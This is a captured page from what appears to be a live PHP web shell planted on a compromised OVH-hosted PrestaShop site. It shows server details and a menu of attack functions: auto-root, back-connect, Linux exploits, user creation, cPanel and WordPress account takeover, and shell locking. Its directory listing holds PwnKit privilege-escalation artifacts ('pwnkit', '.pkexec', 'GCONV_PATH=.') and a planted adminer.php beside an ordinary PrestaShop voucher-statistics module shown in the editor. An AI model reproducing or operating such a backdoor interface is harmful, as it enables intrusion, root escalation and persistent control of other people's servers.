Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
statsbestvouchers /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
CHANGELOG.txt
225
B
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
config.xml
474
B
-rw----r--
config_fr.xml
567
B
-rw-rw-r--
index.php
1.24
KB
-rw----r--
logo.gif
641
B
-rw----r--
logo.png
1.71
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
statsbestvouchers.php
5.57
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : statsbestvouchers.php
<?php /* * 2007-2015 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2015 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ if (!defined('_PS_VERSION_')) { exit; } class statsbestvouchers extends ModuleGrid { private $html; private $query; private $columns; private $default_sort_column; private $default_sort_direction; private $empty_message; private $paging_message; public function __construct() { $this->name = 'statsbestvouchers'; $this->tab = 'analytics_stats'; $this->version = '2.0.0'; $this->author = 'PrestaShop'; $this->need_instance = 0; parent::__construct(); $this->default_sort_column = 'ca'; $this->default_sort_direction = 'DESC'; $this->empty_message = $this->trans('Empty recordset returned.', array(), 'Modules.Statsbestvouchers.Admin'); $this->paging_message = $this->trans('Displaying %1$s of %2$s', array('{0} - {1}', '{2}'), 'Admin.Global'); $this->columns = array( array( 'id' => 'code', 'header' => $this->trans('Code', array(), 'Admin.Global'), 'dataIndex' => 'code', 'align' => 'left' ), array( 'id' => 'name', 'header' => $this->trans('Name', array(), 'Admin.Global'), 'dataIndex' => 'name', 'align' => 'left' ), array( 'id' => 'ca', 'header' => $this->trans('Sales', array(), 'Admin.Global'), 'dataIndex' => 'ca', 'align' => 'right' ), array( 'id' => 'total', 'header' => $this->trans('Total used', array(), 'Modules.Statsbestvouchers.Admin'), 'dataIndex' => 'total', 'align' => 'center' ) ); $this->displayName = $this->trans('Best vouchers', array(), 'Modules.Statsbestvouchers.Admin'); $this->description = $this->trans('Adds a list of the best vouchers to the Stats dashboard.', array(), 'Modules.Statsbestvouchers.Admin'); $this->ps_versions_compliancy = array('min' => '1.7.1.0', 'max' => _PS_VERSION_); } public function install() { return (parent::install() && $this->registerHook('AdminStatsModules')); } public function hookAdminStatsModules($params) { $engine_params = array( 'id' => 'id_product', 'title' => $this->displayName, 'columns' => $this->columns, 'defaultSortColumn' => $this->default_sort_column, 'defaultSortDirection' => $this->default_sort_direction, 'emptyMessage' => $this->empty_message, 'pagingMessage' => $this->paging_message ); if (Tools::getValue('export')) { $this->csvExport($engine_params); } $this->html = ' <div class="panel-heading"> '.$this->displayName.' </div> '.$this->engine($engine_params).' <a class="btn btn-default export-csv" href="'.Tools::safeOutput($_SERVER['REQUEST_URI'].'&export=1').'"> <i class="icon-cloud-upload"></i> '.$this->trans('CSV Export', array(), 'Admin.Global').' </a>'; return $this->html; } public function getData() { $currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); $this->query = 'SELECT SQL_CALC_FOUND_ROWS cr.code, ocr.name, COUNT(ocr.id_cart_rule) as total, ROUND(SUM(o.total_paid_real) / o.conversion_rate,2) as ca FROM '._DB_PREFIX_.'order_cart_rule ocr LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = ocr.id_order LEFT JOIN '._DB_PREFIX_.'cart_rule cr ON cr.id_cart_rule = ocr.id_cart_rule WHERE o.valid = 1 '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' AND o.invoice_date BETWEEN '.$this->getDate().' GROUP BY ocr.id_cart_rule'; if (Validate::IsName($this->_sort)) { $this->query .= ' ORDER BY `'.bqSQL($this->_sort).'`'; if (isset($this->_direction) && (Tools::strtoupper($this->_direction) == 'ASC' || Tools::strtoupper($this->_direction) == 'DESC')) { $this->query .= ' '.pSQL($this->_direction); } } if (($this->_start === 0 || Validate::IsUnsignedInt($this->_start)) && Validate::IsUnsignedInt($this->_limit)) { $this->query .= ' LIMIT '.(int)$this->_start.', '.(int)$this->_limit; } $values = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->query); foreach ($values as &$value) { $value['ca'] = Tools::displayPrice($value['ca'], $currency); } $this->_values = $values; $this->_totalCount = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT FOUND_ROWS()'); } }
Close